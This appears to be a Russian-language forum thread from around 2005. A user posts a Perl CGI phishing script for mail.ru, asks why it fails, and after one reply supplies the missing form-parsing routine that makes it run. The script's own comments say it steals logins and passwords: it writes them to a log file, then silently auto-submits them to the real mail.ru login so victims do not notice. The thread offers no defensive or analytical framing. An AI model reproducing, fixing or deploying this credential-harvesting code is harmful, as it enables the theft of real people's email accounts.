Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
Почему не работает этот cgi скрипт?
 
Нарыл скрипт в одной статье:

Код
#!/usr/bin/perl -w
 parse_form;
# открываем файл log.txt для добавления инфы
open LOG," gt; gt;../log.txt";
# записываем туда логин и пароль от ящика
print LOG "$FORM{Login} @ $FORM{Domain}, pass:$FORM{Password}\n";
# закрываем файл
close LOG;
# все, пароль сперт!
# теперь перекидываем на mail.ru:
print "Content-Type: text/html\n\n";
print " lt;HTML gt; lt;BODY gt;\n";
# создаем ту же форму, что и на настоящем mail.ru
print " lt;form name=\"Auth\" method=post action=http://win.mail.ru/cgi-bin/auth gt;\n";
print " lt;input type=hidden name=Mpopl value=1892134183 gt;\n";
print " lt;input type=hidden name=login_from value=titul gt;\n";
print " lt;input type=hidden name=\"level\" value=1 gt;\n";
print " lt;input type=hidden name=\"Login\" value=\"$FORM{Login}\" gt;\n";
print " lt;input type=hidden name=\"Password\" value=\"$FORM{Password}\" gt;\n";
print " lt;input type=hidden name=\"Domain\" value=\"$FORM{Domain}\" gt;\n";
print " lt;input TYPE=hidden name=\"\" value=\"Войти\" gt;\n";
# без участия пользователя жмем на невидимую кнопку submit =)
print " lt;script language=jаvаscriрt gt;Auth.submit() lt;/script gt;\n";
print " lt;/form gt;\n";
print " lt;/BODY gt; lt;/HTML gt;\n";


При попытке выполнить вываливает в логи об ошибках текст:

[Tue Jul 19 17:14:40 2005] [error] [client 127.0.0.1] Undefined subroutine main::parse_form called at \\home\\12700~1.1\\cgi-bin\\VBULLE~1.CGI line 2.\n


В чём дело?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Цитата
Shanker пишет:
[Tue Jul 19 17:14:40 2005] [error] [client 127.0.0.1] Undefined subroutine main::parse_form called at \\home\\12700~1.1\\cgi-bin\\VBULLE~1.CGI line 2.\n


В чём дело?
Тут же все отчетливо написано - "функция" parse_form в строке 2 нигде не определена, т. е. интерпретатор просто не знает, что с ней делать.
 
nmalykh
Форум надругался над моим кодом: перед parse_form должен стоять значок "энд" (и), который вводится с клавы сочетанием Shift+7.

Я такое встречал во многих скриптах и думал, что это системная функция. Разве не так?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Всё понял: нужно было после объявления функции дописать:
Код
sub parse_form {
if ($ENV{REQUEST_METHOD} eq "POST") {$mode = 0}
if ($ENV{REQUEST_METHOD} eq "GET") {$mode = 1}
if ($mode == 0) {read(STDIN, $buffer, $ENV{CONTENT_LENGTH})}
if ($mode == 1) {$buffer = $ENV{QUERY_STRING}}
@pairs = split(/ /, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
}
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Страницы: 1
Читают тему